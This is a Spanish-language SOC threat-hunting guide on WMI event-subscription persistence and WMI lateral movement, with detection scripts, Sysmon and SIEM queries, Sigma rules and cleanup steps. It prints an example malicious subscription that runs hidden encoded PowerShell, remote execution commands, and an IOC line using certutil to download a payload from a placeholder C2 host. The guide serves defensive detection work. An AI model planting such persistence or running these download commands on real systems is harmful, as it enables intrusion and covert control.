Persistencia WMI y Event Subscription: Hunting en el SOC
Guía completa sobre persistencia WMI y event subscriptions para hunting en el SOC: fundamentos de WMI, suscripciones de eventos para persistencia, movimiento lateral vía WMI, hunting con PowerShell y Sysmon, detección con reglas Sigma, limpieza de artefactos, IOCs y mapeo MITRE ATT&CK T1546.003.
Fundamentos de WMI
Windows Management Instrumentation (WMI) es la implementación de Microsoft del estándar WBEM (Web-Based Enterprise Management). Proporciona una interfaz unificada para acceder a información del sistema, configuración y gestión remota.
Arquitectura de WMI
┌─────────────────────┐
│ Aplicaciones │
│ (PowerShell, WMIC, │
│ scripts, malware) │
└──────────┬──────────┘
│
┌──────────▼──────────┐
│ WMI Service │
│ (WinMgmt/svchost) │
└──────────┬──────────┘
│
┌────────────────┼────────────────┐
│ │ │
┌─────────▼─────┐ ┌───────▼───────┐ ┌──────▼──────┐
│ CIM Repository│ │ Providers │ │ DCOM/WinRM │
│ (OBJECTS.DATA)│ │ (Win32, etc.) │ │ (Remoto) │
└───────────────┘ └───────────────┘ └─────────────┘
Componentes clave para el atacante
- Namespaces:
root\cimv2(sistema),root\subscription(eventos) - Clases:
Win32_Process,Win32_Service,Win32_OperatingSystem - Métodos:
Create(ejecutar procesos),ExecQuery(consultar) - Repositorio CIM: base de datos persistente en
%WINDIR%\System32\wbem\Repository\
WMI Event Subscriptions para persistencia
Las WMI Event Subscriptions son el mecanismo más potente de persistencia basado en WMI. Requieren tres componentes:
Los tres componentes
1. EventFilter → QUÉ evento dispara la acción
2. EventConsumer → QUÉ acción se ejecuta
3. FilterToConsumer → ENLACE entre el filtro y el consumidor
Binding
Ejemplo de persistencia maliciosa
# COMPONENTE 1: EventFilter
# Se dispara cada vez que el sistema arranca (dentro de 300s del boot)
$Filter = Set-WmiInstance -Namespace "root\subscription" `
-Class __EventFilter `
-Arguments @{
Name = "SystemCoreUpdateFilter"
EventNamespace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# COMPONENTE 2: CommandLineEventConsumer
# Ejecuta PowerShell con payload codificado en Base64
$Consumer = Set-WmiInstance -Namespace "root\subscription" `
-Class CommandLineEventConsumer `
-Arguments @{
Name = "SystemCoreUpdateConsumer"
CommandLineTemplate = "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoA..."
}
# COMPONENTE 3: FilterToConsumerBinding
# Enlaza el filtro con el consumidor
Set-WmiInstance -Namespace "root\subscription" `
-Class __FilterToConsumerBinding `
-Arguments @{
Filter = $Filter
Consumer = $Consumer
}
Tipos de EventFilter comunes en ataques
-- Al arrancar el sistema (el más usado para persistencia)
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325
-- Al iniciar sesión un usuario
SELECT * FROM __InstanceCreationEvent WITHIN 15
WHERE TargetInstance ISA 'Win32_LogonSession'
AND TargetInstance.LogonType = 2
-- Al crearse un proceso específico
SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA 'Win32_Process'
AND TargetInstance.Name = 'outlook.exe'
-- A una hora específica (similar a tarea programada)
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Hour = 3 AND TargetInstance.Minute = 0
Tipos de EventConsumer
| Tipo | Uso malicioso | Detección |
|---|---|---|
| CommandLineEventConsumer | Ejecutar comandos/scripts | Más detectable (crea proceso) |
| ActiveScriptEventConsumer | Ejecutar VBScript/JScript | Moderada (script engine) |
| LogFileEventConsumer | Escribir en archivo log | Baja (parece legítimo) |
| NTEventLogEventConsumer | Escribir en Event Log | Baja |
| SMTPEventConsumer | Enviar email | Muy baja en SOC |
Movimiento lateral con WMI
Ejecución remota de procesos
# Método 1: wmic (deprecated pero aún funcional)
wmic /node:"10.10.5.20" /user:"CORP\admin" /password:"[REDACTED]" `
process call create "powershell.exe -nop -w hidden -enc [BASE64]"
# Método 2: Invoke-WmiMethod (PowerShell)
Invoke-WmiMethod -ComputerName "SRV-APP-03" `
-Class Win32_Process -Name Create `
-ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" `
-Credential $cred
# Método 3: CIM (PowerShell moderno)
$session = New-CimSession -ComputerName "SRV-APP-03" -Credential $cred
Invoke-CimMethod -CimSession $session `
-ClassName Win32_Process -MethodName Create `
-Arguments @{CommandLine = "powershell.exe -nop -enc [BASE64]"}
Protocolo de red
WMI remoto utiliza:
Protocolo: DCOM (Distributed COM)
Puerto inicial: TCP 135 (RPC Endpoint Mapper)
Puertos dinámicos: TCP 49152-65535 (o rango configurado)
Autenticación: NTLM o Kerberos
Alternativa: WinRM (TCP 5985 HTTP o 5986 HTTPS)
Invoke-CimMethod con -ComputerName usa WinRM por defecto
en PowerShell 3.0+
Artefactos de movimiento lateral WMI
En el host origen:
Sysmon EID 1: Proceso wmic.exe o powershell.exe ejecutado
Sysmon EID 3: Conexión TCP al puerto 135 del host destino
Security EID 4648: Logon explícito con credenciales alternativas
En el host destino:
Sysmon EID 1: Proceso creado con ParentImage = WmiPrvSE.exe
Security EID 4624: Logon tipo 3 (Network) desde IP del origen
Security EID 4688: Creación de proceso con ParentProcessName = WmiPrvSE.exe
Prefetch: WMIPRVSE.EXE-*.pf con timestamps de ejecución
Hunting con PowerShell
Buscar suscripciones de eventos WMI
# Listar TODOS los Event Filters
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter |
Select-Object Name, Query, @{N='QueryLines';E={$_.Query -split "`n"}} |
Format-List
# Listar TODOS los Event Consumers
Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer |
Select-Object __CLASS, Name, CommandLineTemplate, ScriptText |
Format-List
# Listar TODOS los Bindings
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding |
Select-Object @{N='Filter';E={$_.Filter.Split('"')[1]}},
@{N='Consumer';E={$_.Consumer.Split('"')[1]}} |
Format-Table
Buscar en múltiples hosts
# Hunting remoto en todos los servidores
$servers = Get-ADComputer -Filter 'OperatingSystem -like "*Server*"' |
Select-Object -ExpandProperty Name
$results = foreach ($server in $servers) {
try {
$filters = Get-WmiObject -Namespace "root\subscription" `
-Class __EventFilter -ComputerName $server -ErrorAction Stop
$consumers = Get-WmiObject -Namespace "root\subscription" `
-Class CommandLineEventConsumer -ComputerName $server -ErrorAction Stop
if ($filters -or $consumers) {
[PSCustomObject]@{
Server = $server
FilterCount = ($filters | Measure-Object).Count
ConsumerCount = ($consumers | Measure-Object).Count
Filters = ($filters | ForEach-Object { $_.Name }) -join ", "
Commands = ($consumers | ForEach-Object { $_.CommandLineTemplate }) -join "; "
}
}
} catch {
Write-Warning "No se pudo conectar a $server"
}
}
$results | Format-Table -AutoSize
Indicadores de suscripciones maliciosas
# Buscar suscripciones con PowerShell ofuscado
Get-WmiObject -Namespace "root\subscription" -Class CommandLineEventConsumer |
Where-Object {
$_.CommandLineTemplate -match "(?i)(powershell|cmd|mshta|wscript|cscript)" -and
$_.CommandLineTemplate -match "(?i)(-enc|-e\s|-nop|-w\s+hidden|downloadstring|IEX)"
} | Select-Object Name, CommandLineTemplate
# Buscar ActiveScript consumers (VBScript/JScript)
Get-WmiObject -Namespace "root\subscription" -Class ActiveScriptEventConsumer |
Where-Object {
$_.ScriptText -match "(?i)(WScript\.Shell|eval|ActiveXObject|CreateObject)"
} | Select-Object Name, ScriptingEngine, ScriptText
Hunting con Sysmon
Eventos clave
Sysmon Event ID 19: WmiEventFilter activity detected
Sysmon Event ID 20: WmiEventConsumer activity detected
Sysmon Event ID 21: WmiEventConsumerToFilter activity detected
Configuración de Sysmon para WMI
<Sysmon schemaversion="4.90">
<EventFiltering>
<!-- WMI Event Filter creado -->
<WmiEvent onmatch="include">
<Operation condition="is">Created</Operation>
</WmiEvent>
<!-- Procesos creados por WMI (movimiento lateral) -->
<ProcessCreate onmatch="include">
<ParentImage condition="is">C:\Windows\System32\wbem\WmiPrvSE.exe</ParentImage>
</ProcessCreate>
<!-- Conexiones de red WMI -->
<NetworkConnect onmatch="include">
<DestinationPort condition="is">135</DestinationPort>
</NetworkConnect>
</EventFiltering>
</Sysmon>
Queries de hunting en SIEM
// KQL - Sentinel/Defender
// Suscripciones WMI creadas
SecurityEvent
| where EventID in (19, 20, 21)
| project TimeGenerated, Computer, EventID,
EventType = case(
EventID == 19, "Filter Created",
EventID == 20, "Consumer Created",
EventID == 21, "Binding Created",
"Unknown"
),
Details = EventData
| sort by TimeGenerated desc
// SPL - Splunk
// Procesos creados por WMI (indicador de movimiento lateral)
index=sysmon EventCode=1 ParentImage="*\\WmiPrvSE.exe"
| stats count by Image, CommandLine, Computer, User
| where NOT match(Image, "(?i)(wmiprvse|scrcons|mofcomp)")
| sort -count
// KQL - Detección de ejecución remota WMI
DeviceProcessEvents
| where InitiatingProcessFileName =~ "WmiPrvSE.exe"
| where FileName !in~ ("WmiPrvSE.exe", "WmiApSrv.exe",
"scrcons.exe", "mofcomp.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
AccountName, InitiatingProcessFileName
| sort by Timestamp desc
Reglas Sigma
Regla 1: Creación de WMI Event Subscription
title: WMI Event Subscription Created
id: wmi-subscription-001
status: stable
description: >
Detecta la creación de suscripciones WMI de eventos,
frecuentemente usadas para persistencia
logsource:
product: windows
service: sysmon
detection:
selection:
EventID:
- 19
- 20
- 21
filter_known:
User|contains:
- 'SYSTEM'
Consumer|contains:
- 'SCM Event'
- 'BVTConsumer'
- 'TSLogonFilter'
condition: selection and not filter_known
level: high
tags:
- attack.persistence
- attack.t1546.003
Regla 2: Ejecución de proceso por WMI remoto
title: Remote Process Execution via WMI
id: wmi-lateral-001
status: stable
description: >
Detecta procesos creados por WmiPrvSE.exe que son
indicativos de ejecución remota vía WMI
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\WmiPrvSE.exe'
filter_legitimate:
Image|endswith:
- '\WmiPrvSE.exe'
- '\WmiApSrv.exe'
- '\scrcons.exe'
- '\mofcomp.exe'
- '\wmiadap.exe'
filter_commands:
CommandLine|contains:
- 'WMIADAP'
- 'Register-WmiEvent'
condition: selection and not filter_legitimate and not filter_commands
level: medium
tags:
- attack.lateral_movement
- attack.execution
- attack.t1047
Regla 3: WMI con PowerShell sospechoso
title: WMI Event Subscription with Suspicious PowerShell Command
id: wmi-powershell-001
status: stable
description: >
Detecta suscripciones WMI que ejecutan PowerShell con
parámetros de ofuscación o descarga
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 20
suspicious_content:
Consumer|contains:
- 'powershell'
- 'cmd.exe'
- 'mshta'
- 'wscript'
- 'cscript'
- 'certutil'
- 'bitsadmin'
obfuscation:
Consumer|contains:
- '-enc'
- '-e '
- 'hidden'
- 'bypass'
- 'downloadstring'
- 'IEX'
- 'frombase64'
- 'invoke-expression'
condition: selection and suspicious_content and obfuscation
level: critical
tags:
- attack.persistence
- attack.t1546.003
- attack.execution
- attack.t1059.001
Limpieza de suscripciones WMI maliciosas
Identificar y eliminar
# 1. Listar suscripciones sospechosas
$suspiciousFilters = Get-WmiObject -Namespace "root\subscription" `
-Class __EventFilter |
Where-Object { $_.Name -notmatch "(SCM Event|BVTConsumer|TSLogon)" }
$suspiciousConsumers = Get-WmiObject -Namespace "root\subscription" `
-Class CommandLineEventConsumer |
Where-Object { $_.CommandLineTemplate -match "(?i)(powershell|cmd|enc)" }
$suspiciousBindings = Get-WmiObject -Namespace "root\subscription" `
-Class __FilterToConsumerBinding
# 2. Documentar antes de eliminar (evidencia forense)
$suspiciousFilters | Export-Csv "evidence_filters.csv" -NoTypeInformation
$suspiciousConsumers | Export-Csv "evidence_consumers.csv" -NoTypeInformation
$suspiciousBindings | Export-Csv "evidence_bindings.csv" -NoTypeInformation
# 3. Eliminar (primero bindings, luego consumers, luego filters)
$suspiciousBindings | ForEach-Object {
Write-Host "Removing binding: $($_.Filter) -> $($_.Consumer)"
$_ | Remove-WmiObject
}
$suspiciousConsumers | ForEach-Object {
Write-Host "Removing consumer: $($_.Name)"
$_ | Remove-WmiObject
}
$suspiciousFilters | ForEach-Object {
Write-Host "Removing filter: $($_.Name)"
$_ | Remove-WmiObject
}
Verificar el repositorio WMI
# Verificar integridad del repositorio WMI
winmgmt /verifyrepository
# Si el repositorio está corrupto:
# PRECAUCIÓN: esto reinicia el repositorio WMI
winmgmt /salvagerepository
# Verificar que las suscripciones maliciosas ya no existen
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding
Limpieza remota
# Limpiar suscripciones maliciosas en múltiples hosts
$servers = @("SRV-APP-01", "SRV-APP-02", "SRV-DB-01")
foreach ($server in $servers) {
Write-Host "Cleaning $server..."
Invoke-Command -ComputerName $server -ScriptBlock {
# Eliminar suscripción maliciosa por nombre
$filter = Get-WmiObject -Namespace "root\subscription" `
-Class __EventFilter -Filter "Name='SystemCoreUpdateFilter'"
$consumer = Get-WmiObject -Namespace "root\subscription" `
-Class CommandLineEventConsumer -Filter "Name='SystemCoreUpdateConsumer'"
$binding = Get-WmiObject -Namespace "root\subscription" `
-Class __FilterToConsumerBinding |
Where-Object { $_.Filter -match "SystemCoreUpdateFilter" }
if ($binding) { $binding | Remove-WmiObject }
if ($consumer) { $consumer | Remove-WmiObject }
if ($filter) { $filter | Remove-WmiObject }
Write-Host " Cleaned: Filter=$($filter -ne $null), Consumer=$($consumer -ne $null), Binding=$($binding -ne $null)"
}
}
IOCs típicos de WMI malicioso
Nombres de suscripciones maliciosas conocidas
SystemCoreUpdateFilter / SystemCoreUpdateConsumer
WindowsParentalFilter / WindowsParentalConsumer
BfeOnServiceStartTypeChange (APT29)
SCM Event Log Filter (variante maliciosa)
Patrones de CommandLine en consumers
powershell.exe -nop -w hidden -enc [BASE64]
cmd.exe /c certutil -urlcache -split -f http://[C2]/payload.exe
mshta vbscript:Execute("CreateObject...")
rundll32.exe C:\Users\Public\[malware].dll,DllMain
Artefactos en el repositorio
%WINDIR%\System32\wbem\Repository\OBJECTS.DATA Repositorio WMI
%WINDIR%\System32\wbem\Repository\INDEX.BTR Índice
%WINDIR%\System32\wbem\Repository\MAPPING*.MAP Mapeos
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Persistence | Event Triggered Execution: WMI Event Subscription | T1546.003 | Suscripciones WMI para persistencia |
| Execution | Windows Management Instrumentation | T1047 | Ejecución de procesos vía WMI |
| Lateral Movement | (via T1047) | T1047 | Ejecución remota de procesos con WMI |
| Defense Evasion | (inherente) | N/A | Persistencia fuera de ubicaciones habituales |
| Discovery | System Information Discovery | T1082 | Consultas WMI para reconocimiento |
Checklist de hunting para el SOC
Resumen de acciones de hunting que el equipo SOC debe ejecutar periódicamente:
- Semanal: revisar Sysmon Event IDs 19, 20, 21 en el SIEM
- Semanal: ejecutar script de listado de suscripciones WMI en servidores críticos
- Diario: correlacionar procesos creados por WmiPrvSE.exe con login tipo 3
- Continuo: alerta en tiempo real para nuevas suscripciones WMI (Sigma rule wmi-subscription-001)
- Mensual: auditoría completa del repositorio WMI en Domain Controllers
- Post-incidente: buscar suscripciones WMI en todos los hosts comprometidos como parte de la erradicación
Preguntas frecuentes
Artículos relacionados
Threat Hunting: Movimiento Lateral con Sysmon y SIEM
DLL Sideloading en Endpoint Corporativo: Hunting y Detección
LSASS Dump: Investigación de Robo de Credenciales
Detectar Cobalt Strike Beacon en Red: Guía de Threat Hunting
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.